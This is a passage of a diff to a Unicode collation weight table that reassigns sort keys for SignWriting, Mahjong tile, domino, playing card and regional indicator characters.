+1D9ED ; [*1A2C.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE WRIST CIRCLE FRONT SINGLE
+1D9EE ; [*1A2D.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE WRIST CIRCLE FRONT DOUBLE
+1D9EF ; [*1A2E.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE WRIST CIRCLE HITTING WALL SINGLE
+1D9F0 ; [*1A2F.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE WRIST CIRCLE HITTING WALL DOUBLE
+1D9F1 ; [*1A30.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE FINGER CIRCLES SINGLE
+1D9F2 ; [*1A31.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE FINGER CIRCLES DOUBLE
+1D9F3 ; [*1A32.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE FINGER CIRCLES HITTING WALL SINGLE
+1D9F4 ; [*1A33.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE FINGER CIRCLES HITTING WALL DOUBLE
+1D9F5 ; [*1A34.0020.0002] # SIGNWRITING DYNAMIC ARROWHEAD SMALL
+1D9F6 ; [*1A35.0020.0002] # SIGNWRITING DYNAMIC ARROWHEAD LARGE
+1D9F7 ; [*1A36.0020.0002] # SIGNWRITING DYNAMIC FAST
+1D9F8 ; [*1A37.0020.0002] # SIGNWRITING DYNAMIC SLOW
+1D9F9 ; [*1A38.0020.0002] # SIGNWRITING DYNAMIC TENSE
+1D9FA ; [*1A39.0020.0002] # SIGNWRITING DYNAMIC RELAXED
+1D9FB ; [*1A3A.0020.0002] # SIGNWRITING DYNAMIC SIMULTANEOUS
+1D9FC ; [*1A3B.0020.0002] # SIGNWRITING DYNAMIC SIMULTANEOUS ALTERNATING
+1D9FD ; [*1A3C.0020.0002] # SIGNWRITING DYNAMIC EVERY OTHER TIME
+1D9FE ; [*1A3D.0020.0002] # SIGNWRITING DYNAMIC GRADUAL
+1D9FF ; [*1A3E.0020.0002] # SIGNWRITING HEAD
 1DA00 ; [.0000.0000.0000] # SIGNWRITING HEAD RIM
 1DA01 ; [.0000.0000.0000] # SIGNWRITING HEAD MOVEMENT-WALLPLANE STRAIGHT
 1DA02 ; [.0000.0000.0000] # SIGNWRITING HEAD MOVEMENT-WALLPLANE TILT
@@ -5881,10 +5953,10 @@
 1DA34 ; [.0000.0000.0000] # SIGNWRITING NOSE WIGGLES
 1DA35 ; [.0000.0000.0000] # SIGNWRITING AIR BLOWING OUT
 1DA36 ; [.0000.0000.0000] # SIGNWRITING AIR SUCKING IN
-1DA37 ; [*19CF.0020.0002] # SIGNWRITING AIR BLOW SMALL ROTATIONS
-1DA38 ; [*19D0.0020.0002] # SIGNWRITING AIR SUCK SMALL ROTATIONS
-1DA39 ; [*19D1.0020.0002] # SIGNWRITING BREATH INHALE
-1DA3A ; [*19D2.0020.0002] # SIGNWRITING BREATH EXHALE
+1DA37 ; [*1A3F.0020.0002] # SIGNWRITING AIR BLOW SMALL ROTATIONS
+1DA38 ; [*1A40.0020.0002] # SIGNWRITING AIR SUCK SMALL ROTATIONS
+1DA39 ; [*1A41.0020.0002] # SIGNWRITING BREATH INHALE
+1DA3A ; [*1A42.0020.0002] # SIGNWRITING BREATH EXHALE
 1DA3B ; [.0000.0000.0000] # SIGNWRITING MOUTH CLOSED NEUTRAL
 1DA3C ; [.0000.0000.0000] # SIGNWRITING MOUTH CLOSED FORWARD
 1DA3D ; [.0000.0000.0000] # SIGNWRITING MOUTH CLOSED CONTACT
@@ -5935,37 +6007,37 @@
 1DA6A ; [.0000.0000.0000] # SIGNWRITING NECK
 1DA6B ; [.0000.0000.0000] # SIGNWRITING HAIR
 1DA6C ; [.0000.0000.0000] # SIGNWRITING EXCITEMENT
-1DA6D ; [*19D3.0020.0002] # SIGNWRITING SHOULDER HIP SPINE
-1DA6E ; [*19D4.0020.0002] # SIGNWRITING SHOULDER HIP POSITIONS
-1DA6F ; [*19D5.0020.0002] # SIGNWRITING WALLPLANE SHOULDER HIP MOVE
-1DA70 ; [*19D6.0020.0002] # SIGNWRITING FLOORPLANE SHOULDER HIP MOVE
-1DA71 ; [*19D7.0020.0002] # SIGNWRITING SHOULDER TILTING FROM WAIST
-1DA72 ; [*19D8.0020.0002] # SIGNWRITING TORSO-WALLPLANE STRAIGHT STRETCH
-1DA73 ; [*19D9.0020.0002] # SIGNWRITING TORSO-WALLPLANE CURVED BEND
-1DA74 ; [*19DA.0020.0002] # SIGNWRITING TORSO-FLOORPLANE TWISTING
+1DA6D ; [*1A43.0020.0002] # SIGNWRITING SHOULDER HIP SPINE
+1DA6E ; [*1A44.0020.0002] # SIGNWRITING SHOULDER HIP POSITIONS
+1DA6F ; [*1A45.0020.0002] # SIGNWRITING WALLPLANE SHOULDER HIP MOVE
+1DA70 ; [*1A46.0020.0002] # SIGNWRITING FLOORPLANE SHOULDER HIP MOVE
+1DA71 ; [*1A47.0020.0002] # SIGNWRITING SHOULDER TILTING FROM WAIST
+1DA72 ; [*1A48.0020.0002] # SIGNWRITING TORSO-WALLPLANE STRAIGHT STRETCH
+1DA73 ; [*1A49.0020.0002] # SIGNWRITING TORSO-WALLPLANE CURVED BEND
+1DA74 ; [*1A4A.0020.0002] # SIGNWRITING TORSO-FLOORPLANE TWISTING
 1DA75 ; [.0000.0000.0000] # SIGNWRITING UPPER BODY TILTING FROM HIP JOINTS
-1DA76 ; [*19DB.0020.0002] # SIGNWRITING LIMB COMBINATION
-1DA77 ; [*19DC.0020.0002] # SIGNWRITING LIMB LENGTH-1
-1DA78 ; [*19DD.0020.0002] # SIGNWRITING LIMB LENGTH-2
-1DA79 ; [*19DE.0020.0002] # SIGNWRITING LIMB LENGTH-3
-1DA7A ; [*19DF.0020.0002] # SIGNWRITING LIMB LENGTH-4
-1DA7B ; [*19E0.0020.0002] # SIGNWRITING LIMB LENGTH-5
-1DA7C ; [*19E1.0020.0002] # SIGNWRITING LIMB LENGTH-6
-1DA7D ; [*19E2.0020.0002] # SIGNWRITING LIMB LENGTH-7
-1DA7E ; [*19E3.0020.0002] # SIGNWRITING FINGER
-1DA7F ; [*19E4.0020.0002] # SIGNWRITING LOCATION-WALLPLANE SPACE
-1DA80 ; [*19E5.0020.0002] # SIGNWRITING LOCATION-FLOORPLANE SPACE
-1DA81 ; [*19E6.0020.0002] # SIGNWRITING LOCATION HEIGHT
-1DA82 ; [*19E7.0020.0002] # SIGNWRITING LOCATION WIDTH
-1DA83 ; [*19E8.0020.0002] # SIGNWRITING LOCATION DEPTH
+1DA76 ; [*1A4B.0020.0002] # SIGNWRITING LIMB COMBINATION
+1DA77 ; [*1A4C.0020.0002] # SIGNWRITING LIMB LENGTH-1
+1DA78 ; [*1A4D.0020.0002] # SIGNWRITING LIMB LENGTH-2
+1DA79 ; [*1A4E.0020.0002] # SIGNWRITING LIMB LENGTH-3
+1DA7A ; [*1A4F.0020.0002] # SIGNWRITING LIMB LENGTH-4
+1DA7B ; [*1A50.0020.0002] # SIGNWRITING LIMB LENGTH-5
+1DA7C ; [*1A51.0020.0002] # SIGNWRITING LIMB LENGTH-6
+1DA7D ; [*1A52.0020.0002] # SIGNWRITING LIMB LENGTH-7
+1DA7E ; [*1A53.0020.0002] # SIGNWRITING FINGER
+1DA7F ; [*1A54.0020.0002] # SIGNWRITING LOCATION-WALLPLANE SPACE
+1DA80 ; [*1A55.0020.0002] # SIGNWRITING LOCATION-FLOORPLANE SPACE
+1DA81 ; [*1A56.0020.0002] # SIGNWRITING LOCATION HEIGHT
+1DA82 ; [*1A57.0020.0002] # SIGNWRITING LOCATION WIDTH
+1DA83 ; [*1A58.0020.0002] # SIGNWRITING LOCATION DEPTH
 1DA84 ; [.0000.0000.0000] # SIGNWRITING LOCATION HEAD NECK
-1DA85 ; [*19E9.0020.0002] # SIGNWRITING LOCATION TORSO
-1DA86 ; [*19EA.0020.0002] # SIGNWRITING LOCATION LIMBS DIGITS
-1DA87 ; [*045E.0020.0002] # SIGNWRITING COMMA
-1DA88 ; [*045F.0020.0002] # SIGNWRITING FULL STOP
-1DA89 ; [*0460.0020.0002] # SIGNWRITING SEMICOLON
-1DA8A ; [*0461.0020.0002] # SIGNWRITING COLON
-1DA8B ; [*0462.0020.0002] # SIGNWRITING PARENTHESIS
+1DA85 ; [*1A59.0020.0002] # SIGNWRITING LOCATION TORSO
+1DA86 ; [*1A5A.0020.0002] # SIGNWRITING LOCATION LIMBS DIGITS
+1DA87 ; [*047D.0020.0002] # SIGNWRITING COMMA
+1DA88 ; [*047E.0020.0002] # SIGNWRITING FULL STOP
+1DA89 ; [*047F.0020.0002] # SIGNWRITING SEMICOLON
+1DA8A ; [*0480.0020.0002] # SIGNWRITING COLON
+1DA8B ; [*0481.0020.0002] # SIGNWRITING PARENTHESIS
 1DA9B ; [.0000.0000.0000] # SIGNWRITING FILL MODIFIER-2
 1DA9C ; [.0000.0000.0000] # SIGNWRITING FILL MODIFIER-3
 1DA9D ; [.0000.0000.0000] # SIGNWRITING FILL MODIFIER-4
@@ -5993,1616 +6065,1692 @@
 1E8D4 ; [.0000.0000.0000] # MENDE KIKAKUI COMBINING NUMBER TEN THOUSANDS
 1E8D5 ; [.0000.0000.0000] # MENDE KIKAKUI COMBINING NUMBER HUNDRED THOUSANDS
 1E8D6 ; [.0000.0000.0000] # MENDE KIKAKUI COMBINING NUMBER MILLIONS
-1EEF0 ; [*04DC.0020.0002] # ARABIC MATHEMATICAL OPERATOR MEEM WITH HAH WITH TATWEEL
-1EEF1 ; [*04DD.0020.0002] # ARABIC MATHEMATICAL OPERATOR HAH WITH DAL
-1F000 ; [*11A1.0020.0002] # MAHJONG TILE EAST WIND
-1F001 ; [*11A2.0020.0002] # MAHJONG TILE SOUTH WIND
-1F002 ; [*11A3.0020.0002] # MAHJONG TILE WEST WIND
-1F003 ; [*11A4.0020.0002] # MAHJONG TILE NORTH WIND
-1F004 ; [*11A5.0020.0002] # MAHJONG TILE RED DRAGON
-1F005 ; [*11A6.0020.0002] # MAHJONG TILE GREEN DRAGON
-1F006 ; [*11A7.0020.0002] # MAHJONG TILE WHITE DRAGON
-1F007 ; [*11A8.0020.0002] # MAHJONG TILE ONE OF CHARACTERS
-1F008 ; [*11A9.0020.0002] # MAHJONG TILE TWO OF CHARACTERS
-1F009 ; [*11AA.0020.0002] # MAHJONG TILE THREE OF CHARACTERS
-1F00A ; [*11AB.0020.0002] # MAHJONG TILE FOUR OF CHARACTERS
-1F00B ; [*11AC.0020.0002] # MAHJONG TILE FIVE OF CHARACTERS
-1F00C ; [*11AD.0020.0002] # MAHJONG TILE SIX OF CHARACTERS
-1F00D ; [*11AE.0020.0002] # MAHJONG TILE SEVEN OF CHARACTERS
-1F00E ; [*11AF.0020.0002] # MAHJONG TILE EIGHT OF CHARACTERS
-1F00F ; [*11B0.0020.0002] # MAHJONG TILE NINE OF CHARACTERS
-1F010 ; [*11B1.0020.0002] # MAHJONG TILE ONE OF BAMBOOS
-1F011 ; [*11B2.0020.0002] # MAHJONG TILE TWO OF BAMBOOS
-1F012 ; [*11B3.0020.0002] # MAHJONG TILE THREE OF BAMBOOS
-1F013 ; [*11B4.0020.0002] # MAHJONG TILE FOUR OF BAMBOOS
-1F014 ; [*11B5.0020.0002] # MAHJONG TILE FIVE OF BAMBOOS
-1F015 ; [*11B6.0020.0002] # MAHJONG TILE SIX OF BAMBOOS
-1F016 ; [*11B7.0020.0002] # MAHJONG TILE SEVEN OF BAMBOOS
-1F017 ; [*11B8.0020.0002] # MAHJONG TILE EIGHT OF BAMBOOS
-1F018 ; [*11B9.0020.0002] # MAHJONG TILE NINE OF BAMBOOS
-1F019 ; [*11BA.0020.0002] # MAHJONG TILE ONE OF CIRCLES
-1F01A ; [*11BB.0020.0002] # MAHJONG TILE TWO OF CIRCLES
-1F01B ; [*11BC.0020.0002] # MAHJONG TILE THREE OF CIRCLES
-1F01C ; [*11BD.0020.0002] # MAHJONG TILE FOUR OF CIRCLES
-1F01D ; [*11BE.0020.0002] # MAHJONG TILE FIVE OF CIRCLES
-1F01E ; [*11BF.0020.0002] # MAHJONG TILE SIX OF CIRCLES
-1F01F ; [*11C0.0020.0002] # MAHJONG TILE SEVEN OF CIRCLES
-1F020 ; [*11C1.0020.0002] # MAHJONG TILE EIGHT OF CIRCLES
-1F021 ; [*11C2.0020.0002] # MAHJONG TILE NINE OF CIRCLES
-1F022 ; [*11C3.0020.0002] # MAHJONG TILE PLUM
-1F023 ; [*11C4.0020.0002] # MAHJONG TILE ORCHID
-1F024 ; [*11C5.0020.0002] # MAHJONG TILE BAMBOO
-1F025 ; [*11C6.0020.0002] # MAHJONG TILE CHRYSANTHEMUM
-1F026 ; [*11C7.0020.0002] # MAHJONG TILE SPRING
-1F027 ; [*11C8.0020.0002] # MAHJONG TILE SUMMER
-1F028 ; [*11C9.0020.0002] # MAHJONG TILE AUTUMN
-1F029 ; [*11CA.0020.0002] # MAHJONG TILE WINTER
-1F02A ; [*11CB.0020.0002] # MAHJONG TILE JOKER
-1F02B ; [*11CC.0020.0002] # MAHJONG TILE BACK
-1F030 ; [*11CD.0020.0002] # DOMINO TILE HORIZONTAL BACK
-1F031 ; [*11CE.0020.0002] # DOMINO TILE HORIZONTAL-00-00
-1F032 ; [*11CF.0020.0002] # DOMINO TILE HORIZONTAL-00-01
-1F033 ; [*11D0.0020.0002] # DOMINO TILE HORIZONTAL-00-02
-1F034 ; [*11D1.0020.0002] # DOMINO TILE HORIZONTAL-00-03
-1F035 ; [*11D2.0020.0002] # DOMINO TILE HORIZONTAL-00-04
-1F036 ; [*11D3.0020.0002] # DOMINO TILE HORIZONTAL-00-05
-1F037 ; [*11D4.0020.0002] # DOMINO TILE HORIZONTAL-00-06
-1F038 ; [*11D5.0020.0002] # DOMINO TILE HORIZONTAL-01-00
-1F039 ; [*11D6.0020.0002] # DOMINO TILE HORIZONTAL-01-01
-1F03A ; [*11D7.0020.0002] # DOMINO TILE HORIZONTAL-01-02
-1F03B ; [*11D8.0020.0002] # DOMINO TILE HORIZONTAL-01-03
-1F03C ; [*11D9.0020.0002] # DOMINO TILE HORIZONTAL-01-04
-1F03D ; [*11DA.0020.0002] # DOMINO TILE HORIZONTAL-01-05
-1F03E ; [*11DB.0020.0002] # DOMINO TILE HORIZONTAL-01-06
-1F03F ; [*11DC.0020.0002] # DOMINO TILE HORIZONTAL-02-00
-1F040 ; [*11DD.0020.0002] # DOMINO TILE HORIZONTAL-02-01
-1F041 ; [*11DE.0020.0002] # DOMINO TILE HORIZONTAL-02-02
-1F042 ; [*11DF.0020.0002] # DOMINO TILE HORIZONTAL-02-03
-1F043 ; [*11E0.0020.0002] # DOMINO TILE HORIZONTAL-02-04
-1F044 ; [*11E1.0020.0002] # DOMINO TILE HORIZONTAL-02-05
-1F045 ; [*11E2.0020.0002] # DOMINO TILE HORIZONTAL-02-06
-1F046 ; [*11E3.0020.0002] # DOMINO TILE HORIZONTAL-03-00
-1F047 ; [*11E4.0020.0002] # DOMINO TILE HORIZONTAL-03-01
-1F048 ; [*11E5.0020.0002] # DOMINO TILE HORIZONTAL-03-02
-1F049 ; [*11E6.0020.0002] # DOMINO TILE HORIZONTAL-03-03
-1F04A ; [*11E7.0020.0002] # DOMINO TILE HORIZONTAL-03-04
-1F04B ; [*11E8.0020.0002] # DOMINO TILE HORIZONTAL-03-05
-1F04C ; [*11E9.0020.0002] # DOMINO TILE HORIZONTAL-03-06
-1F04D ; [*11EA.0020.0002] # DOMINO TILE HORIZONTAL-04-00
-1F04E ; [*11EB.0020.0002] # DOMINO TILE HORIZONTAL-04-01
-1F04F ; [*11EC.0020.0002] # DOMINO TILE HORIZONTAL-04-02
-1F050 ; [*11ED.0020.0002] # DOMINO TILE HORIZONTAL-04-03
-1F051 ; [*11EE.0020.0002] # DOMINO TILE HORIZONTAL-04-04
-1F052 ; [*11EF.0020.0002] # DOMINO TILE HORIZONTAL-04-05
-1F053 ; [*11F0.0020.0002] # DOMINO TILE HORIZONTAL-04-06
-1F054 ; [*11F1.0020.0002] # DOMINO TILE HORIZONTAL-05-00
-1F055 ; [*11F2.0020.0002] # DOMINO TILE HORIZONTAL-05-01
-1F056 ; [*11F3.0020.0002] # DOMINO TILE HORIZONTAL-05-02
-1F057 ; [*11F4.0020.0002] # DOMINO TILE HORIZONTAL-05-03
-1F058 ; [*11F5.0020.0002] # DOMINO TILE HORIZONTAL-05-04
-1F059 ; [*11F6.0020.0002] # DOMINO TILE HORIZONTAL-05-05
-1F05A ; [*11F7.0020.0002] # DOMINO TILE HORIZONTAL-05-06
-1F05B ; [*11F8.0020.0002] # DOMINO TILE HORIZONTAL-06-00
-1F05C ; [*11F9.0020.0002] # DOMINO TILE HORIZONTAL-06-01
-1F05D ; [*11FA.0020.0002] # DOMINO TILE HORIZONTAL-06-02
-1F05E ; [*11FB.0020.0002] # DOMINO TILE HORIZONTAL-06-03
-1F05F ; [*11FC.0020.0002] # DOMINO TILE HORIZONTAL-06-04
-1F060 ; [*11FD.0020.0002] # DOMINO TILE HORIZONTAL-06-05
-1F061 ; [*11FE.0020.0002] # DOMINO TILE HORIZONTAL-06-06
-1F062 ; [*11FF.0020.0002] # DOMINO TILE VERTICAL BACK
-1F063 ; [*1200.0020.0002] # DOMINO TILE VERTICAL-00-00
-1F064 ; [*1201.0020.0002] # DOMINO TILE VERTICAL-00-01
-1F065 ; [*1202.0020.0002] # DOMINO TILE VERTICAL-00-02
-1F066 ; [*1203.0020.0002] # DOMINO TILE VERTICAL-00-03
-1F067 ; [*1204.0020.0002] # DOMINO TILE VERTICAL-00-04
-1F068 ; [*1205.0020.0002] # DOMINO TILE VERTICAL-00-05
-1F069 ; [*1206.0020.0002] # DOMINO TILE VERTICAL-00-06
-1F06A ; [*1207.0020.0002] # DOMINO TILE VERTICAL-01-00
-1F06B ; [*1208.0020.0002] # DOMINO TILE VERTICAL-01-01
-1F06C ; [*1209.0020.0002] # DOMINO TILE VERTICAL-01-02
-1F06D ; [*120A.0020.0002] # DOMINO TILE VERTICAL-01-03
-1F06E ; [*120B.0020.0002] # DOMINO TILE VERTICAL-01-04
-1F06F ; [*120C.0020.0002] # DOMINO TILE VERTICAL-01-05
-1F070 ; [*120D.0020.0002] # DOMINO TILE VERTICAL-01-06
-1F071 ; [*120E.0020.0002] # DOMINO TILE VERTICAL-02-00
-1F072 ; [*120F.0020.0002] # DOMINO TILE VERTICAL-02-01
-1F073 ; [*1210.0020.0002] # DOMINO TILE VERTICAL-02-02
-1F074 ; [*1211.0020.0002] # DOMINO TILE VERTICAL-02-03
-1F075 ; [*1212.0020.0002] # DOMINO TILE VERTICAL-02-04
-1F076 ; [*1213.0020.0002] # DOMINO TILE VERTICAL-02-05
-1F077 ; [*1214.0020.0002] # DOMINO TILE VERTICAL-02-06
-1F078 ; [*1215.0020.0002] # DOMINO TILE VERTICAL-03-00
-1F079 ; [*1216.0020.0002] # DOMINO TILE VERTICAL-03-01
-1F07A ; [*1217.0020.0002] # DOMINO TILE VERTICAL-03-02
-1F07B ; [*1218.0020.0002] # DOMINO TILE VERTICAL-03-03
-1F07C ; [*1219.0020.0002] # DOMINO TILE VERTICAL-03-04
-1F07D ; [*121A.0020.0002] # DOMINO TILE VERTICAL-03-05
-1F07E ; [*121B.0020.0002] # DOMINO TILE VERTICAL-03-06
-1F07F ; [*121C.0020.0002] # DOMINO TILE VERTICAL-04-00
-1F080 ; [*121D.0020.0002] # DOMINO TILE VERTICAL-04-01
-1F081 ; [*121E.0020.0002] # DOMINO TILE VERTICAL-04-02
-1F082 ; [*121F.0020.0002] # DOMINO TILE VERTICAL-04-03
-1F083 ; [*1220.0020.0002] # DOMINO TILE VERTICAL-04-04
-1F084 ; [*1221.0020.0002] # DOMINO TILE VERTICAL-04-05
-1F085 ; [*1222.0020.0002] # DOMINO TILE VERTICAL-04-06
-1F086 ; [*1223.0020.0002] # DOMINO TILE VERTICAL-05-00
-1F087 ; [*1224.0020.0002] # DOMINO TILE VERTICAL-05-01
-1F088 ; [*1225.0020.0002] # DOMINO TILE VERTICAL-05-02
-1F089 ; [*1226.0020.0002] # DOMINO TILE VERTICAL-05-03
-1F08A ; [*1227.0020.0002] # DOMINO TILE VERTICAL-05-04
-1F08B ; [*1228.0020.0002] # DOMINO TILE VERTICAL-05-05
-1F08C ; [*1229.0020.0002] # DOMINO TILE VERTICAL-05-06
-1F08D ; [*122A.0020.0002] # DOMINO TILE VERTICAL-06-00
-1F08E ; [*122B.0020.0002] # DOMINO TILE VERTICAL-06-01
-1F08F ; [*122C.0020.0002] # DOMINO TILE VERTICAL-06-02
-1F090 ; [*122D.0020.0002] # DOMINO TILE VERTICAL-06-03
-1F091 ; [*122E.0020.0002] # DOMINO TILE VERTICAL-06-04
-1F092 ; [*122F.0020.0002] # DOMINO TILE VERTICAL-06-05
-1F093 ; [*1230.0020.0002] # DOMINO TILE VERTICAL-06-06
-1F0A0 ; [*1231.0020.0002] # PLAYING CARD BACK
-1F0A1 ; [*1232.0020.0002] # PLAYING CARD ACE OF SPADES
-1F0A2 ; [*1233.0020.0002] # PLAYING CARD TWO OF SPADES
-1F0A3 ; [*1234.0020.0002] # PLAYING CARD THREE OF SPADES
-1F0A4 ; [*1235.0020.0002] # PLAYING CARD FOUR OF SPADES
-1F0A5 ; [*1236.0020.0002] # PLAYING CARD FIVE OF SPADES
-1F0A6 ; [*1237.0020.0002] # PLAYING CARD SIX OF SPADES
-1F0A7 ; [*1238.0020.0002] # PLAYING CARD SEVEN OF SPADES
-1F0A8 ; [*1239.0020.0002] # PLAYING CARD EIGHT OF SPADES
-1F0A9 ; [*123A.0020.0002] # PLAYING CARD NINE OF SPADES
-1F0AA ; [*123B.0020.0002] # PLAYING CARD TEN OF SPADES
-1F0AB ; [*123C.0020.0002] # PLAYING CARD JACK OF SPADES
-1F0AC ; [*123D.0020.0002] # PLAYING CARD KNIGHT OF SPADES
-1F0AD ; [*123E.0020.0002] # PLAYING CARD QUEEN OF SPADES
-1F0AE ; [*123F.0020.0002] # PLAYING CARD KING OF SPADES
-1F0B1 ; [*1240.0020.0002] # PLAYING CARD ACE OF HEARTS
-1F0B2 ; [*1241.0020.0002] # PLAYING CARD TWO OF HEARTS
-1F0B3 ; [*1242.0020.0002] # PLAYING CARD THREE OF HEARTS
-1F0B4 ; [*1243.0020.0002] # PLAYING CARD FOUR OF HEARTS
-1F0B5 ; [*1244.0020.0002] # PLAYING CARD FIVE OF HEARTS
-1F0B6 ; [*1245.0020.0002] # PLAYING CARD SIX OF HEARTS
-1F0B7 ; [*1246.0020.0002] # PLAYING CARD SEVEN OF HEARTS
-1F0B8 ; [*1247.0020.0002] # PLAYING CARD EIGHT OF HEARTS
-1F0B9 ; [*1248.0020.0002] # PLAYING CARD NINE OF HEARTS
-1F0BA ; [*1249.0020.0002] # PLAYING CARD TEN OF HEARTS
-1F0BB ; [*124A.0020.0002] # PLAYING CARD JACK OF HEARTS
-1F0BC ; [*124B.0020.0002] # PLAYING CARD KNIGHT OF HEARTS
-1F0BD ; [*124C.0020.0002] # PLAYING CARD QUEEN OF HEARTS
-1F0BE ; [*124D.0020.0002] # PLAYING CARD KING OF HEARTS
-1F0BF ; [*124E.0020.0002] # PLAYING CARD RED JOKER
-1F0C1 ; [*124F.0020.0002] # PLAYING CARD ACE OF DIAMONDS
-1F0C2 ; [*1250.0020.0002] # PLAYING CARD TWO OF DIAMONDS
-1F0C3 ; [*1251.0020.0002] # PLAYING CARD THREE OF DIAMONDS
-1F0C4 ; [*1252.0020.0002] # PLAYING CARD FOUR OF DIAMONDS
-1F0C5 ; [*1253.0020.0002] # PLAYING CARD FIVE OF DIAMONDS
-1F0C6 ; [*1254.0020.0002] # PLAYING CARD SIX OF DIAMONDS
-1F0C7 ; [*1255.0020.0002] # PLAYING CARD SEVEN OF DIAMONDS
-1F0C8 ; [*1256.0020.0002] # PLAYING CARD EIGHT OF DIAMONDS
-1F0C9 ; [*1257.0020.0002] # PLAYING CARD NINE OF DIAMONDS
-1F0CA ; [*1258.0020.0002] # PLAYING CARD TEN OF DIAMONDS
-1F0CB ; [*1259.0020.0002] # PLAYING CARD JACK OF DIAMONDS
-1F0CC ; [*125A.0020.0002] # PLAYING CARD KNIGHT OF DIAMONDS
-1F0CD ; [*125B.0020.0002] # PLAYING CARD QUEEN OF DIAMONDS
-1F0CE ; [*125C.0020.0002] # PLAYING CARD KING OF DIAMONDS
-1F0CF ; [*125D.0020.0002] # PLAYING CARD BLACK JOKER
-1F0D1 ; [*125E.0020.0002] # PLAYING CARD ACE OF CLUBS
-1F0D2 ; [*125F.0020.0002] # PLAYING CARD TWO OF CLUBS
-1F0D3 ; [*1260.0020.0002] # PLAYING CARD THREE OF CLUBS
-1F0D4 ; [*1261.0020.0002] # PLAYING CARD FOUR OF CLUBS
-1F0D5 ; [*1262.0020.0002] # PLAYING CARD FIVE OF CLUBS
-1F0D6 ; [*1263.0020.0002] # PLAYING CARD SIX OF CLUBS
-1F0D7 ; [*1264.0020.0002] # PLAYING CARD SEVEN OF CLUBS
-1F0D8 ; [*1265.0020.0002] # PLAYING CARD EIGHT OF CLUBS
-1F0D9 ; [*1266.0020.0002] # PLAYING CARD NINE OF CLUBS
-1F0DA ; [*1267.0020.0002] # PLAYING CARD TEN OF CLUBS
-1F0DB ; [*1268.0020.0002] # PLAYING CARD JACK OF CLUBS
-1F0DC ; [*1269.0020.0002] # PLAYING CARD KNIGHT OF CLUBS
-1F0DD ; [*126A.0020.0002] # PLAYING CARD QUEEN OF CLUBS
-1F0DE ; [*126B.0020.0002] # PLAYING CARD KING OF CLUBS
-1F0DF ; [*126C.0020.0002] # PLAYING CARD WHITE JOKER
-1F0E0 ; [*126D.0020.0002] # PLAYING CARD FOOL
-1F0E1 ; [*126E.0020.0002] # PLAYING CARD TRUMP-1
-1F0E2 ; [*126F.0020.0002] # PLAYING CARD TRUMP-2
-1F0E3 ; [*1270.0020.0002] # PLAYING CARD TRUMP-3
-1F0E4 ; [*1271.0020.0002] # PLAYING CARD TRUMP-4
-1F0E5 ; [*1272.0020.0002] # PLAYING CARD TRUMP-5
-1F0E6 ; [*1273.0020.0002] # PLAYING CARD TRUMP-6
-1F0E7 ; [*1274.0020.0002] # PLAYING CARD TRUMP-7
-1F0E8 ; [*1275.0020.0002] # PLAYING CARD TRUMP-8
-1F0E9 ; [*1276.0020.0002] # PLAYING CARD TRUMP-9
-1F0EA ; [*1277.0020.0002] # PLAYING CARD TRUMP-10
-1F0EB ; [*1278.0020.0002] # PLAYING CARD TRUMP-11
-1F0EC ; [*1279.0020.0002] # PLAYING CARD TRUMP-12
-1F0ED ; [*127A.0020.0002] # PLAYING CARD TRUMP-13
-1F0EE ; [*127B.0020.0002] # PLAYING CARD TRUMP-14
-1F0EF ; [*127C.0020.0002] # PLAYING CARD TRUMP-15
-1F0F0 ; [*127D.0020.0002] # PLAYING CARD TRUMP-16
-1F0F1 ; [*127E.0020.0002] # PLAYING CARD TRUMP-17
-1F0F2 ; [*127F.0020.0002] # PLAYING CARD TRUMP-18
-1F0F3 ; [*1280.0020.0002] # PLAYING CARD TRUMP-19
-1F0F4 ; [*1281.0020.0002] # PLAYING CARD TRUMP-20
-1F0F5 ; [*1282.0020.0002] # PLAYING CARD TRUMP-21
-1F1E6 ; [*09E3.0020.0002] # REGIONAL INDICATOR SYMBOL LETTER A
-1F1E7 ; [*09E4.0020.0002] # REGIONAL INDICATOR SYMBOL LETTER B
-1F1E8 ; [*09E5.0020.0002] # REGIONAL INDICATOR SYMBOL LETTER C
-1F1E9 ; [*09E6.0020.0002] # REGIONAL INDICATOR SYMBOL LETTER D
-1F1EA ; [*09E7.0020.0002] # REGIONAL INDICATOR SYMBOL LETTER E
-1F1EB ; [*09E8.0020.0002] # REGIONAL INDICATOR SYMBOL LETTER F
-1F1EC ; [*09E9.0020.0002] # REGIONAL INDICATOR SYMBOL LETTER G
-1F1ED ; [*09EA.0020.0002] # REGIONAL INDICATOR SYMBOL LETTER H
-1F1EE ; [*09EB.0020.0002] # REGIONAL INDICATOR SYMBOL LETTER I
-1F1EF ; [*09EC.0020.0002] # REGIONAL INDICATOR SYMBOL LETTER J
-1F1F0 ; [*09ED.0020.0002] # REGIONAL INDICATOR SYMBOL LETTER K
-1F1F1 ; [*09EE.0020.0002] # REGIONAL INDICATOR SYMBOL LETTER L
-1F1F2 ; [*09EF.0020.0002] # REGIONAL INDICATOR SYMBOL LETTER M
-1F1F3 ; [*09F0.0020.0002] # REGIONAL INDICATOR SYMBOL LETTER N
-1F1F4 ; [*09F1.0020.0002] # REGIONAL INDICATOR SYMBOL LETTER O
-1F1F5 ; [*09F2.0020.0002] # REGIONAL INDICATOR SYMBOL LETTER P
-1F1F6 ; [*09F3.0020.0002] # REGIONAL INDICATOR SYMBOL LETTER Q
-1F1F7 ; [*09F4.0020.0002] # REGIONAL INDICATOR SYMBOL LETTER R
-1F1F8 ; [*09F5.0020.0002] # REGIONAL INDICATOR SYMBOL LETTER S
-1F1F9 ; [*09F6.0020.0002] # REGIONAL INDICATOR SYMBOL LETTER T
-1F1FA ; [*09F7.0020.0002] # REGIONAL INDICATOR SYMBOL LETTER U
-1F1FB ; [*09F8.0020.0002] # REGIONAL INDICATOR SYMBOL LETTER V
-1F1FC ; [*09F9.0020.0002] # REGIONAL INDICATOR SYMBOL LETTER W
-1F1FD ; [*09FA.0020.0002] # REGIONAL INDICATOR SYMBOL LETTER X
-1F1FE ; [*09FB.0020.0002] # REGIONAL INDICATOR SYMBOL LETTER Y
-1F1FF ; [*09FC.0020.0002] # REGIONAL INDICATOR SYMBOL LETTER Z
